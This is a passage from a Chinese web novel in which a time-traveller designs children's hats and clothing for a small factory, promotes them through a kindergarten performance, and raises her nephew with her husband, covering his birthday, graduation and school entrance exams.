乔亚楠还没说话，她旁边的业务员先开了口，“先把样品拿出来，拿去给老顾客看看，还有百货大楼什么的，咱们的帽子好看，别人家都没有，不愁卖的。” 江雪笑了笑，没说话。 过了一会儿，业务员去忙其他的了。乔亚楠捣了捣江雪，“有什么好主意就说嘛，合同一签，咱们不就是一根绳上的蚂蚱，卖的多，你赚的也多嘛。” 江雪斟酌道：“我听言言说，他们幼儿园要开周年庆。” 乔亚楠点头，“知道的呀，薇薇也回来说了，还说老师们现在天天给他们排节目，听说还要请电视台来录像，叫她高兴的不得了！” “那你觉得，先做几顶帽子出来，赞助给幼儿园，让薇薇领头，排个节目出来怎么样？”江雪说：“先不说电视台如何，周年庆来的家长一定不少，有薇薇带着帽子出场，想买的孩子一定不少。”—— 作者有话说：[三花猫头] 第二十七章 “人啊，怎么说变就变了呢…… 江雪提交了几份不同的设计图, 除了最开始的那一版，乔亚楠又选中了另外一个。 “这个不错，好看, 大气。”一连用了两个形容词, 乔亚楠拿给江雪看。 江雪扫了一眼便笑了，“这个是从宋朝皇后凤冠里获得的灵感, 咱们老祖宗的东西，当然不一般。” “呀！”乔亚楠端详着手中的设计图，实在想不到一顶普普通通的帽子怎么跟凤冠牵扯到一起去, “我还没见过什么皇后凤冠呢！” “我也是在电视看到的。”江雪说：“只是用了几个元素, 到时候还要看能不能找到合适的材料。” 皇后凤冠是江雪上辈子参观博物馆时看到的, 现实中近距离参观, 远比在电视上、手机屏幕里看到的更加震撼。做工精巧, 技艺巧夺天工, 以它为蓝本创造出的服装、饰品、文创产品更是数不胜数。 汉元素、国风、汉服……在此时还是未被发掘的宝藏。 而如今的街头, 受影视作品的影响, 港风盛行, 还有日韩两国的影响。 只有一条生产线, 不仅产量有限, 也没办法把所有帽子一次性全都做出来。江雪跟着乔亚楠跑了几次市场，挑选合适的材料，设计图删删改改, 最终决定先做其中两款, 剩下的看市场反馈。 工厂开工后, 乔亚楠几乎要住进厂里。她跟江雪抱怨，“那些人不讲道理的，万一有人顺了顶帽子出去, 不出两天，一半的海市工厂里做的就都是这顶帽子了。” 为保万一，江雪送给另外两个小姑娘的同款帽子也被乔亚楠花钱买了回来。 送佛送到西，搭着两顶帽子，江雪又设计了两条裙子出来，“里面有裙撑，撑起来就是公主裙，宽宽大大的，放下来日常也能穿。” 就是二三十年后流行的洛丽塔。 裙子的工程量要比帽子大得多，乔亚楠看过后就摇了摇头，把设计图还给了江雪，“这个我做不了，你还是收起来吧。”看着只能让她眼馋。 江雪又把图拿了回去，毕竟饭要一口一口吃，路也要一步一步走。做设计，最不缺的就是耐心。 想完，转头又去买了几本杂志，看到旁边摆着的书，也挑了几本买下。 等到关山越出完任务回来，就发现家里到处放的都是书，掀开帘子一看，连他床上都有。 是江雪晚上哄关嘉言睡觉时看的，看完后顺手放在那里没收，有讲童话的故事书，还有几本杂志，有关流行服饰的部分被折了起来，有的上面还做了笔记。 习惯使然，关山越先把自己带回来的行李归拢起来，要洗的衣服丢进洗手间先泡着，出来后打扫房间，把书从四面八方一本本收起来，家里没有书架，只能先放到桌子上。 江雪买的书又多又杂，除了杂志，还有几本服装剪裁、服装结构、服装造型之类的书。关山越顺手捡起下一本，视线扫过书名，愣了一愣。 这是本高中教科书。 再看和这本放在一起的，语文数学外语，还有其他课本，都有被翻过的痕迹。 正想着，江雪接了关嘉言回来。 看到关山越，关嘉言立马跑到他身边举起双手，书包都没来得及取下，“舅舅！” 关山越掐着他腋下把他举起来，抛到半空又接住，如此来回两三次，关嘉言兴奋的尖叫，脸蛋红扑扑的，被江雪及时喊停。 “行了行了，等下吵到邻居。” 她顺路买了菜回来，关山越放下外甥，摸了摸他的脑袋，“去写作业。”又抬脚走到厨房，“我来做饭吧。” 江雪从善如流的答应了，关山越做饭比她做饭好吃多了，关山越出任务不在家的时候，她和关嘉言只能三天两头的去街上买着吃。 厨房空间狭小，江雪放下手里的东西就打算出去，却发现关山越堵在门口，垂眸看着她，一副想说什么，但又不好意思的说的样子。 江雪抬手从墙上取下挂着的围裙，点了点下巴，“低头。” 关山越眸色深深，却认真听从江雪的命令低下头。江雪微微踮起脚，把围裙套进他脖子里，又道：“抬胳膊。” 关山越依言抬起胳膊，江雪揪起两边的带子，双臂环绕，拥住了他的腰，“想你了。” 下巴搁在肩窝，轻柔的呼吸伴随着声音钻进耳廓，关山越呼吸一滞，用同样的姿势抱回去，只不过力气大了几分，江雪整个人都要被他摁在怀里。 “嗯。” “嗯什么？”江雪闹他，把手收回来摸他的肚子，八块腹肌壁垒分明，即使隔着衣服也手感超好，“说你也想我。” 关山越的呼吸重了几分，声音喑哑，在江雪耳边轻轻吐出那几个字。 江雪心中忍笑，从她的角度看去，能看到关山越从耳朵往下红了一片，多少有点儿老实人豁出去的感觉。 自从公安局回来，她和关山越之间就好像有了种顺水推舟、水到渠来的暧昧。牵手、拥抱，尽管谁都没有主动说什么，可同住一个屋檐下，共同抚养一个孩子，连结婚证都有。 江雪想，可能他们这就叫先婚后爱吧。 客厅里传来凳子挪动的声音，关嘉言的声音传来，“舅妈，这个字念什么？” “好，我马上过去。” 拍了拍关山越的后背，江雪从他怀里挣开，临走之前，还是帮他系好了围裙上的两根带子。 吃过饭，江雪陪着关嘉言看电视。 明天不用上学，关嘉言可以晚睡一个小时，他洗完澡后坐在床上，反复询问：“舅妈，我们明天真的要去舅舅工作的地方吗？” 关山越这次出去了一周，回来后休息两天。正好赶在周末，关山越就打算履行之前的承诺，带关嘉言去他们的训练基地。 这个承诺还是前段时间关山越送关嘉言上学的时候，舅甥俩拉钩决定的，江雪都是事后才知道。 “我们不能护他一辈子。”关山越说：“要让他自己摔摔打打才行。” * 第二天一早，江雪睡醒起床的时候，关山越已经背着关嘉言在锻炼了。 和以前一样，关山越做俯卧撑，关嘉言坐在他背上。 可那时候的关嘉言又瘦又小，现在的关嘉言不仅个头高了，人也吃胖了不少，体重最起码上涨二十斤。 靠着门框欣赏了一会儿，江雪跃跃欲试，“我坐上去，你还能起得来吗？” 关山越闻言看了她一眼，俯下身对关嘉言道：“关嘉言，下去。” “好！”关嘉言开开心心的跳了下去，又跑来拉住江雪的手，“舅妈，我教你怎么坐。” 大话是自己放出去的，真轮到自己，江雪反而有些怕了。学着关嘉言的样子坐好，正犹豫着，关山越手臂用力，竟然真的撑了起来，动作标准，毫不费力，反倒把江雪吓了一跳，“啊”的一声抓住他的肩膀。 关山越低低的笑了两声，胸腔震动，连坐在他背上的江雪都感受到了。一连做了五个俯卧撑，最后还是江雪先忍不住，连声道：“好了好了，还要出门呢，快让我下去。” 江雪急慌慌的跳下来，跑去洗手间洗漱。 关嘉言在背后咯咯直笑，“舅妈是个胆小鬼。” 吃过早饭，三人坐上了去郊区的公共汽车。 自从公司业务增多，训练基地的人大部分都被派了出去，现在完全可以当做一个参观基地来看。 他们去的时候，基地里只有寥寥几个人，都在自顾自的训练。这是关山越定下的规矩，每个人出完任务回来，都要休息两天，再补上三天的训练。如果不想休息，直接来基地训练也行。简而言之，做他们这行，最不能搁置的就是训练。 关山越带着关嘉言去热身，江雪自顾自的四处晃悠，没过一会热，董志勇来了。 “嫂子！”董志勇喜气洋洋的跟江雪打招呼。 江雪回以微笑，“这么开心？” 几天不见，董志勇又胖了回去，“还好有嫂子你的主意，咱们公司现在都要忙不过来了，关哥正要我招新人呢！” 江雪点点头，“那你去忙吧。” 然而，不知道今天到底是个什么好日子，董志勇来了没一会儿，李栋梁也跑来了，还不是自己来的，他带了石晓茹，两人直奔办公室去了。 几分钟后，江雪就听到董志勇的咆哮声从办公室里传来，“不行！” 李栋梁是来给石晓茹找工作的。 石晓茹今年大四，临近毕业，学校分配的工作她不满意，想要自主择业，但一时半会儿又找不到好的。正好安泰的业务量增多，需要招聘新员工，李栋梁就把石晓茹带来了。 董志勇恨铁不成钢的看着李栋梁，当初在队里的好兄弟，怎么就变成现在这个样子。 “不行，公司招的都是什么人你不知道？她来了能干什么？”董志勇态度强硬。 李栋梁不依不饶，“文员，会计，不都可以吗？” 董志勇一口回绝，“公司不需要文员，财务已经找人做了。” 李栋梁眼珠子一转，“你说的不算，你让班长来。” 董志勇深深的看了他一眼，当真把关山越叫来了。李栋梁又对关山越说：“班长，小茹她是名牌大学的毕业生，要不是分配的工作不好，她也不会来咱们公司应聘。” 关山越同样不留情面，“不行。” 李栋梁还想说什么，关山越直接道：“再说一句，你也走，你投的钱，我翻倍给你。” 李栋梁噎住了，一张脸青青红红白白，到底没敢再说什么，拉着石晓茹走了。 眼看着两人走远，董志勇叹气道：“请神容易送神难啊！都怪我！” 要不是当初他轻信对方，也不至于变成现在这样。 他苦涩一笑，“人啊，怎么说变就变了呢！”—— 作者有话说：[眼镜] 第二十八章 不怕神一样的对手，就怕猪…… 关山越公司的内部矛盾, 江雪从不掺和。 她带着玩累的关嘉言在外面休息，小孩子精力旺盛，连跑带跳了将近一个小时, 休息几分钟后, 又是生龙活虎。 “舅妈。”关嘉言天真的问，“我什么时候能变得和舅舅一样啊？” 薇薇说, 王耀祖不是变好了，是因为他害怕比他厉害的人，舅舅就是比他厉害的人, 哪怕舅舅只是看了他一眼, 他就害怕的要尿裤子了。 江雪用手帕擦去他脸上的又拧开水壶叫他喝水, 随口道：“等你长大了。” “是长得和舅舅一样高吗？”关嘉言打破砂锅问到底。 “对啊。”江雪笑眯眯的回答他, “所以你要好好吃饭, 好好睡觉, 才能快快长大。” “还要好好锻炼！”关嘉言从地上蹦起来, 伸胳膊蹬腿的打了套军体拳。 打完, 关嘉言又开始唱歌, 江雪这几天常在家里听他唱, 上学唱, 放学也唱。问过以后才知道，这是幼儿园给他们安排的在周年庆上要表演的开场节目。 关嘉言是整个合唱队的领唱，表演的时候要站在最前面。 关嘉言既开心又害羞, 拉着江雪说：“舅妈, 你一定会来看我表演的, 对吧？” 江雪摸了摸他的脸，“当然。” 江雪自然要去，不仅要去, 她还打算去照相馆租个DV一体机，把关嘉言表演节目的过程录下来，再找人刻成光盘好好保存，毕竟这也算是未来顶流的荧幕首秀。 说话间，关山越回来了。 江雪才远远看见李栋梁和石晓茹离开，两个人来也匆匆去也匆匆，像阵风似的刮过去，没在江雪这里掀起半点儿涟漪。 相比之下，她还是更关心到了幼儿园周年庆那天，关山越能不能腾出时间来参加。 关嘉言跳起来朝关山越跑去，“舅舅，舅舅。” 关山越把他抱起来，关嘉言一手搂着他的脖子，一手指向远处，“我们去打拳击！” 江雪：“……” 江雪：“你都没有沙袋重。” 话是这么说，关山越还是抱着他去了沙袋那里，两人对着沙袋拳打脚踢了小半天。 * 到了幼儿园周年庆的那一天。关嘉言早早起了床，江雪起床后打开卧室门出去，就看到他已经自己穿好衣服裤子，正对着镜子照来照去。 江雪失笑，走过去帮他把穿的皱皱巴巴的衣服扯平捋顺。 关嘉言穿的是江雪给他做的英伦风三件套小西装，不是常见的黑灰色，而是用的棕红色的格子布料，领口别着红色的小领结，已经长长的头发用水打湿，梳了个三七分出来，再用摩丝定型。 江雪原本是想给他梳个微分碎盖出来，只可惜关嘉言不同意，坚持道：“老师说，大家都要梳一样的头发，才好看。” 小孩子有莫名其妙的秩序感，江雪对此表示理解并尊重，至于未来把录像放出来，关嘉言会是什么感受就不归她管了。 “帽子、帽子。” 出门前，关嘉言又想起了前段时间江雪做给他的绅士帽，哒哒跑进屋里，抓起帽子戴在头上，又对着镜子欣赏一番，自觉满意，才牵起江雪的手道：“好了舅妈，我们快走吧。” 周年庆开在幼儿园礼堂里，平时锁着门，只有在开展重大活动的时候才会打开。 一进门，关嘉言被老师接走去了后台。合唱节目在第一个，老师们还要担负起化妆的工作，孩子多老师少，必须要抓紧时间。 江雪自己找去礼堂，路上还碰到了同样陪女儿来参加活动的刘文月。 自从和乔亚楠的服装厂开始合作，江雪就不再像以前一样，一天到晚的待在家里，和刘文月见面的次数也少了许多。 两人寒暄了几句，幼儿园礼堂的座位是根据班级安排的，刘文月的女儿甜甜还在读小班，关嘉言读的是大班，两个班的座位正好一左一右，中间隔了老远。 于是说了几句后就要分开，刘文月打趣江雪道：“等言言上了小学，你也能轻松许多，到时候和关经理……” 话说一半，刘文月朝她暧昧的眨眨眼。 江雪明白她的意思，顿时有些尴尬，搪塞道：“还早呢。” “这有什么早不早的。”刘文月说：“趁着年轻，到时候恢复的还快。” 她还要再说，甜甜忍不住催促起她，江雪赶忙道：“甜甜都着急了，你们快去吧。” 礼堂里吵吵嚷嚷，热闹非凡，江雪在人群里看到了朝她招手的乔亚楠。 “哎呦，我真是紧张死了。”一落座，乔亚楠就握住了江雪的手，“你摸摸我的手，冰冰凉凉，昨天晚上我都没有睡好，薇薇还问我，说妈妈怎么比她还紧张。” 江雪提的建议得到了实践，乔亚楠倒是没提让乔雨薇带头表演节目，只说愿意给班里的节目赞助服装。老师知道她是开服装厂的，当即答应了下来。 关嘉言参加了园里的开场节目，本来不用再参加班里的节目，但节目排到最后，竟然刚好有一个适合他的角色。 ——睡王子。 没错，关嘉言他们班的节目，正是睡美人的性转版。讲的是一个王子被妖怪抓走，聪明勇敢的公主站了出来，手持宝剑，带着自己的侍从，一路斩妖除魔，救死扶伤，最终解救王子的故事。 关嘉言戏份不多，台词没有，只在开头和结尾出现，起一个造型上的作用。 饰演公主的也不是乔雨薇，而是班里的另一个小女孩，乔雨薇是跟在公主后面的侍从之一。 江雪安抚的拍了拍她的手，“放心，大不了就去街上摆摊，我跟你一起。” 乔亚楠深吸了一口气，笑了，“好！” 开弓没有回头箭，不过就是几百顶帽子，当初生产线出来的第一批衣服找不到销路，不就是她带着家人满大街的摆摊，才没把衣服砸手里。以前能做，怎么现在反倒畏畏缩缩起来。 早上九点，节目正式开始。 来参加的孩子家长大部分只有一个，毕竟不是休息日，愿意请假腾出半天时间参加活动的家长还是在少数。关山越去了深市，按计划是昨天晚上回来，但路上耽搁了时间，要推迟到今天中午。 江雪本以为关嘉言会失望，没想到关嘉言知道后的第一反应居然是松了口气。 “舅舅太凶了。”关嘉言如此解释，“舅舅去了，会把其他小朋友都吓哭的。” 比如说王耀祖，要是他上台表演的时候看到舅舅，被吓得尿裤子可怎么办。他们辛辛苦苦排了这么久的节目，不光是家长们要看，还要放到电视上播出。王耀祖虽然坏了点儿，但也不用让大家都看到他尿裤子的样子。 原来是这样。 江雪哭笑不得，摸了摸他的头，答应等表演结束就带他去吃肯德基。 看见江雪从包里掏出了一台DV一体机，乔亚楠又惊又喜，“我怎么没想到，还是你有主意。” 江雪摸索着打开设备，闻言笑道：“回头多刻一张光盘给你。” 离她们近的其他家长见状，也想请江雪帮他们录几段。江雪拒绝了，“这个机器是我租来的，拍不了那么多。” 见状，其他人便打消了念头，反正到时候也会在电视上播出，家里有录像机的，可以从电视上再把节目录下来。 小朋友们在舞台上蹦蹦跳跳，不管表演水平如何，底下的家长们都报以热烈的掌声。 前面几个节目过后，很快轮到了中一班，也就是关嘉言所在的班级。 开场，扮演王子的关嘉言被妖怪抓走，公主带着她的侍从们闪亮登场。 节目一开始，乔亚楠的注意力就全在舞台上了，一双眼睛紧紧盯着乔雨薇，直到节目表演结束才放松下来。 江雪合上DV一体机，转头看到乔亚楠兴奋的双眼，就知道她也听到了。 学生多，后台挤不下太多人。前面表演完的学生都回到了自己家长身边，看到公主提着宝剑出场的时候，纷纷惊叹出声。 现在的幼儿园表演远不如未来卷的飞起，基本上每个孩子都只是用口红在脸上涂了个红脸蛋，稍微复杂一点儿的，就是把脸搽的稍微比别人白上那么一点儿。正因如此，公主带着那顶复古华丽的帽子出场时，才会一下子抓住大家的眼球。 家长们只是觉得这帽子做的这么复杂，小孩子们就不一样了，他们只觉得好看。 公主有公主裙，还有亮晶晶的王冠，现在还要再加上一个公主帽子！ 略微着急一点儿的，当场就要家长给她买一顶一模一样的。 中午，关山越在幼儿园门口街上江雪和关嘉言，一行三人去吃肯德基。 关山越这次去深市去的匆忙，不是提前安排好的工作。江雪问过之后才知道，原来安泰发展起来后，很快有人跟着开了家差不多的公司，公司介绍、主营业务都和安泰大差不差，收费却比安泰便宜不少。 这家名叫保平安的公司用低价挖走了不少安泰的客户，还在报纸上打出广告，说自己也要办比武大会，并且是面向全市人民的比武大会，只要报名，就能参加。 “面向全市？”这个问题当初江雪就考虑过，但因为安全问题，还是给否了，万一有人下手没有轻重，又或者是打急眼了，造成的后果不容小觑。 想了想，又说：“他们是想靠低价抢占市场？” 关山越三两口吃完了一个汉堡，闻言道：“以他们的收费标准，等不到抢占市场就会破产。” 江雪意识到他这次去深市，大概是和那家保平安公司有关。 果不其然，关山越说：“他们的人把客户丢在半路了。” 公司想用低价抢占市场，可是底下的人拿不到钱，心里自然不满意，于是便偷偷想了个法子，越过公司问客户要钱，客户闻起来，就说之前付的只是订金，现在才是全款。 客户不同意，可人和货都在对方手上，只能吃个哑巴亏。下次宁可支付高价找安泰，也不敢再去别的公司。 江雪捻了跟薯条，蘸着番茄酱吃进嘴里，闻言笑道：“真是不怕神一样的对手，就怕猪一样的队友。” 关山越被她的话逗笑，也学着她的样子，抓起一把薯条，蘸满番茄酱吃了，惹的关嘉言立马瞪大了双眼。 见状，江雪起身又去点了份薯条。 周年庆上的节目很快起了作用，到了下午，就有人去百货市场去打听，问有没有公主帽子。 被问到的人均一脸疑惑，公主裙、公主王冠他们听说过，什么时候出来的公主帽子？公主戴的帽子难不成还跟其他人戴的不一样？ 这时候，和乔亚楠有合作的几家店铺便把公主帽挂了出来。第一个人买到手，第二个、第三个……买的人接二连三的多了起来。 一开始的顾客都是幼儿园家长，等他们买了帽子回去，小孩子忍不住炫耀，带着出去玩一会儿，左邻右舍就都知道了，家里有孩子的，也吵着要家长去买。 很快，就有店铺给乔亚楠打电话，请他们再送一些帽子过去—— 作者有话说：[三花猫头] 第二十九章 言言百事顺遂，天天开心…… 电视台播出前一天, 放学时，老师特意交代了节目的播出时间和频道。 关嘉言回来后叽叽喳喳了一晚上，睡觉之前还在念叨：“舅妈, 你明天一定不要忘了提醒我看节目。” 江雪忍不住笑, “那你不看动画片了？” 动画片重要还是节目重要？关嘉言十分纠结，本来他都想好要看节目, 但舅妈一问，他又不知道该选哪个了。要是不看动画片，他就没办法给薇薇他们讲故事。 江雪给他出了个主意, “那我们就只看开头的合唱, 和你们班的公主救王子, 好不好？” 关嘉言双眼微微发亮, 大声道:“好！” 电视节目的播出不出意外的给服装厂带来了更多的订单, 江雪去楼下的报刊亭接电话, 乔亚楠爽朗的笑声从听筒里传出来, “江雪, 你不知道, 今天我来办公室, 刚坐下就接到了百货大楼的电话, 人家问我还有没有货。” 自己厂子里做出来的东西能进百货大楼，放在以前，乔亚楠想都不敢想, 可真的接到电话时, 又有种尘埃落定的感觉, 一点儿激动的心情都没有，反而冷静的告诉对方，工厂还在加班加点的生产中, 可以提前预定，但是要付订金。 乔亚楠开心道：“你不知道，他们还问我有没有大人戴的呢。” 江雪顺着她的话问：“你的打算呢？” 乔亚楠想了想，说：“我想，以后就只做童装。” 这次的试水，让她知道了童装市场的广大。大人们可能一年到头都舍不得买几件衣服，但小孩子就不一样了，小孩子长得快，到了抽条的年龄，衣服半年就得换，不然就见小。有舍不得常买新衣服的家长，就会专门买大一号，这样就能穿的时间长一点儿。 不过相较于大人，小孩子的衣服到底便宜一些，现在又不比以前，要勒紧裤腰带过日子，花个十几二十块给孩子买件新衣服，大多数家长还是舍得的。 江雪对她的这个想法表示赞同，“只做童装也好，到时候市场铺开，品牌名气也就打出去了。” 乔亚楠笑的合不拢嘴，她现在说出去好听，是私人服装厂厂长，实际上厂子里就那么几个人，一条生产线，平时都是接人家大厂不要的小单子，哪里想过品牌什么的。 但江雪这么说了，乔亚楠便觉得心里像吃了蜜一样甜。 挂了电话，江雪付钱上楼。边走边想自己目前的存款。 家里的日常开销靠的全都是关山越，这人似乎把她当初说的“赚钱养家”当了真，赚的钱一分不少的给了江雪，被问到出任务怎么办时，关山越说吃住以及路费都由雇佣方负责。 不过从过完年到现在，关山越把存折从江雪这边拿走了几次，每次从上面取一半的钱走，过上一段时间，这笔钱就会翻个倍再存进存折里。 关山越向她解释了这笔钱的用途——买股票。 江雪不懂炒股，并且作为一个三十年后的人，她天然对炒股心怀畏惧。 当年的A股崩盘可是上了热搜的。 所以也只是感慨了一句，“那你运气真好。” 关山越闻言看向她，“你忘了？” “忘……”江雪卡了壳，“忘什么？” 关山越道：“我之前跟你提过，公司还有个叫蔡成威的人。” 江雪想起来了，关山越一开始把存折给她的时候，就说了他们公司的架构。除了他和董志勇、李栋梁外，还有个叫蔡成威的，京市人，还是个大院子弟。 在这个年代，安保公司要遇到的麻烦事只会多不会少，关山越能够稳稳当当的把公司开起来，没有人在背后兜底是不可能的事，明面上是董志勇在四处跑手续，实际上打通各个关节的，是远在京市的蔡成威。 关山越：“成威只要分红，不管事，并且他的分红全部都要放到股市里，我只是跟着他买。” 江雪脑子里突然冒出来一个词，“你们这就叫，官商勾结。” 关山越笑了笑，没有否认。 第一批帽子的设计费到手，江雪把自己的小金库拿出来一算，倒是能买得起一部传呼机，但是买完传呼机，她的小金库也差不多空了一大半。 想到未来的手机行业迅猛发展，江雪正在犹豫，关山越先做了个决定，在家里装一部电话机。 既然要在家里装电话机，那么传呼机就可以省下来了，毕竟她也不会经常出门。 电话机装好，江雪给乔亚楠打去电话，告诉她以后联系就打这个号码。 乔亚楠道：“正好我也要找你，你现在有时间吗？咱们百货大楼见？” 江雪同意了。 等到了地方，江雪才知道乔亚楠这么着急叫她出来是什么。 几乎每个卖衣服的店铺都摆了公主帽子，不仅有小孩戴的，还有大人的型号。江雪走过去，随便拿起一顶看了，和服装厂做出来的差不多，也有不一样的。 乔亚楠气也气过了，毕竟一开始就想到了，东西一旦卖出去，肯定会有人模仿。 她随手捡起一顶，“嘁”了声道：“俗气。” 卖帽子的商贩原本以为她们是来买东西的，堆满笑容正要给她们做推销，一听乔亚楠的话，脸上的表情顿时就变了。江雪见状，赶紧把帽子搁下，拉着乔亚楠离开。 江雪说：“本来就是个短期产品，已经比预想的好很多了。” 这话不假，毕竟一开始他们都没想到能卖出去这么多。 江雪问：“厂里还有存货吗？” 乔亚楠跟着她慢慢沿着马路走，说道：“存货基本上都预定出去了。” 江雪笑吟吟的看向她，“那生产线是不是要生产新款了？” 乔亚楠噗嗤一笑，“什么都瞒不过你。”说着，拍了拍自己挎着的皮包，“合同都拟好了，走，咱们找个地方，边吃边聊。” 江雪和乔亚楠又签署了第二份合同，依旧按卖出去货品的多少结款。而这一次要做的，是正儿八经的童装，一件男款，一件女款。 吃过饭后，江雪和乔亚楠又在外面逛了会儿街。江雪看中了一套小汽车玩具，进口产品，价格昂贵，要一百多块钱。 乔亚楠看的咋舌，“比咱们卖十几顶帽子还要贵。” 江雪笑笑，“贵有贵的道理嘛，买一个能玩好久。” 爽快的拿出钱付款，江雪拎着玩具小汽车，直接乘公交车去幼儿园门口接关嘉言放学。 收到小汽车的关嘉言开心极了，不光是收到礼物开心，更是因为在幼儿园门口，大家看他的眼神里充满了羡慕。 回到家后，关嘉言迫不及待的玩了起来，小汽车带电池，打开开关后会在地上自己跑，跟街上的小汽车一模一样。 关嘉言玩的不亦乐乎，跟着小汽车在房间里跑来跑去，直到关山越回家。 捡起冲到自己脚边的小汽车，关山越把藏在背后的生日蛋糕拿了出来，弯腰对关嘉言道：“生日快乐。” “生日？”关嘉言迷茫的眨眨眼，他从来没有过过生日，也不知道自己的生日是什么时候，以前姜大宝过生日的时候，徐秀兰会给他煎鸡蛋。 江雪拿出生日帽给他戴上，笑吟吟道：“对啊，今天是言言生日，吃完生日蛋糕，言言就六岁了。” 点蜡烛，许愿，懵懵懂懂的做完这一切，江雪握着他的手，稳稳的从蛋糕中间切了下去，“从今往后，言言百事顺遂，天天开心。” 对面，关山越拿着江雪租来的相机，摁下快门，将这一幕记录了下来—— 作者有话说：祝大家，百事顺遂，天天开心！[哈哈大笑] 第三十章 男模言言 六月底, 江雪和关山越作为家长，共同参加了关嘉言小朋友人生中的第一个毕业典礼。 在江雪的精心打扮下，关嘉言担心的舅舅长得太凶吓哭其他小朋友的事情并未发生。 相反, 在拍完毕业照后, 几个关系好的小伙伴围住他，像群小麻雀似的叽叽喳喳。 “言言, 那是你的爸爸妈妈吗？” “你和你爸爸长得好像啊。” “言言，你爸爸长得好高啊！” 关嘉言实话实说，“不是爸爸妈妈, 是舅舅舅妈。” 小孩子心直口快, “那你的爸爸妈妈呢？” 关嘉言：“我妈妈去了很远的地方。” 六七岁的孩子或许还不懂得这句话的意思, 但家长们是清楚的, 正要拉住自家孩子不许他们再问, 谁知下一秒就听到关嘉言脆生生的说：“爸爸不在了。” “……” 关山越把关嘉言从人堆里领了回来, 江雪心虚的摸了摸鼻子。 这话还是她教给关嘉言的。 过年时他们在锦江乐园, 关嘉言指着照片上的她叫妈妈。尽管关嘉言的生母关英早逝, 可她保护了关嘉言平安降生, 江雪不想抢占她母亲的身份, 所以从游乐园回来后, 江雪就借着讲睡前故事的机会告诉关嘉言，他的妈妈去了很远的地方，他们要很久很久以后才能见面。 既然说到妈妈, 江雪又随口提了句姜大强, “言言, 还想再见到爸爸吗？” 关嘉言猛地瞪大双眼，摇头拒绝，“不, 不想。” “那就当他死……”江雪紧急改口，“就当他不在了。” 江雪准备了一束花，带关嘉言去和老师道别。 关嘉言不是海市户口，除了对口的幸福小学，老师还另外推荐了几所学校给江雪。 “这几所小学都接收外来户口，但是名额有限，还要通过入学考试。”老师对关嘉言的印象很好，长得好看不说，又听话懂事，从不惹麻烦，“言言这半年来进步很大，你们可以带他去试试。” 江雪把学校名称一一记了下来。 小学入学考试，无非是语文和数学，考试时间则大都集中在七月中旬。 回到家，江雪把提前准备好的小学教科书找了出来，关嘉言像条小尾巴似的亦步亦趋的跟在她身后。今天回来得早，还没有到看电视的时间。 独属于关嘉言的小桌板上杂七杂八的放着几本小人书和画比字多的故事书，还有他心爱的小汽车。江雪把这些东西收了起来，把教科书摆了上去。 经过在幼儿园半年的读书学习，关嘉言现在已经认识了很多字，他指着封面上的几个字说：“舅妈，这几个字我认识。” “真棒！”江雪第一时间给予表扬，“那言言告诉舅妈，这几个字怎么读好不好？” “好！” 关嘉言经常和薇薇他们玩小老师的游戏，你教我我教你，玩得不亦乐乎。他伸出手，有模有样的指着其中一个字道：“这个字念小。” 等江雪跟着念了一遍后，又指向第二个字，“这个字念学。” 连在一起就是小学。 江雪蹲下身问他，“那你知道小学是什么吗？” “知道！”关嘉言大声回答，薇薇说他们以后就不用上幼儿园了，要去上小学，“小学就是我这样的小人要上的学校。” 江雪噗嗤一声笑了出来，赶紧纠正他，“不是小人，是小朋友，小孩子。” 关嘉言迷茫的眨眨眼，“可舅舅、舅妈不是大人吗？” 老师说大的反义词是小，舅舅和舅妈是大人，那他就应该是小人啊。 江雪怜爱地摸了摸他的头，翻开语文课本第一页，“这个问题，我们从书里来找答案。” 少年不知愁滋味，关嘉言兴高采烈的开始了自己人生中的第一次补课。 一对一补习了小半个月，江雪带着关嘉言去参加入学考试。 七月份的天气热气腾腾，在外面跑了几天后，把自己包的严严实实，努力做好物理防晒的江雪还是被晒黑了一些。反观关嘉言，因为热，只肯穿短袖短裤，出去一趟就会被晒得皮肤发红，可只要洗过澡后再睡一晚，第二天便会恢复如初。 看得江雪羡慕不已。 考完试没两天，江雪接到了三所小学的电话，通知她办理入学手续。 三所学校各有利弊，江雪拉着休息的关山越实地考察了一番，最终选定了一所有十几年历史的公办职工小学——红星小学。 红星小学办学时间久，学校面积大，设施齐全，师资也比另外两所学校好。唯一的缺点就是离他们现在住的地方有点儿远，骑自行车要将近一个小时，搭公交车倒是能快一点儿，可中间要转车，再赶上早高峰，能不能挤上车都不好说。 关山越还在犹豫，江雪已经痛快的拿出钱缴费。一千五的择校费，是三所学校里最贵的。 交完钱，负责老师给了他们一份入学手册，上面写了开学的时间，还有一些必备用品，最下面还有几行小字。 “午托班。”负责老师介绍道：“学校上午十一点半放学，下午两点上课，如果住的比较远，可以考虑一下。” 午托班的费用是一学期五百，管一顿午饭，中午就在集体寝室，有值班老师负责照顾。考虑到有些学生年纪小不适应，所以第一周是试用期，如果适应不了，就只收三十块钱，剩下的如数退还。 这次不用江雪做决定，关山越先拍了板，“中午时间短，就在学校呆着。” 江雪一想，也是。 拢共两个半小时的时间，从家里到学校来回就要两个小时，还不算吃饭休息的时间。外面的午托班便宜，只要两三百，但从安全角度来说，肯定比不上学校。 从学校出来，关嘉言牵着江雪的手，小声道：“舅妈，今天还要补课吗？” 短短小半个月，关嘉言已经初步体会到了补课的威力。 幼儿园玩大于学，就算读书识字也是边玩边学，学不会也没关系，还有一群同龄的小伙伴陪着一起玩。补课却不一样，江雪按照小学的课程排了课表，上午下午各三节课，每节课四十分钟。 头两天好奇心大于一切，到了第三天，关嘉言就品尝到了学习的苦。原来上小学是这么辛苦的事，他现在一点儿都不期待了。 唉，他什么时候才能长得和舅舅一样高，到时候他就是大人了，大人都是不用上学的。 江雪牵着他的手晃了晃，“不补课，舅妈带你出去拍照。” * 找了个天气好的日子，江雪带关嘉言去了公园。 乔亚楠带着乔雨薇也到了，除了她们俩，还有个拎着大包小包，背着照相机的年轻女孩。 乔亚楠给江雪介绍，“这是我新招聘的助理，叫胡兰兰，刚毕业的大学生。” 胡兰兰笑的腼腆，“不算不算，我读的是成人大学。” 乔亚楠道：“成人大学那也是大学啊。”又对江雪说：“现在大学生可吃香了，以前初中毕业就能去当老师，现在只能进工厂。要不是我忙不过来，我也想读个成人大学。” 乔雨薇这两天在家里常听她妈妈念叨大学生，闻言跟着喊：“我也要考大学。” 乔亚楠大笑，“好，以后薇薇就是咱们家第一个大学生！” 江雪心念一动，问胡兰兰，“读成人大学有什么要求吗？” 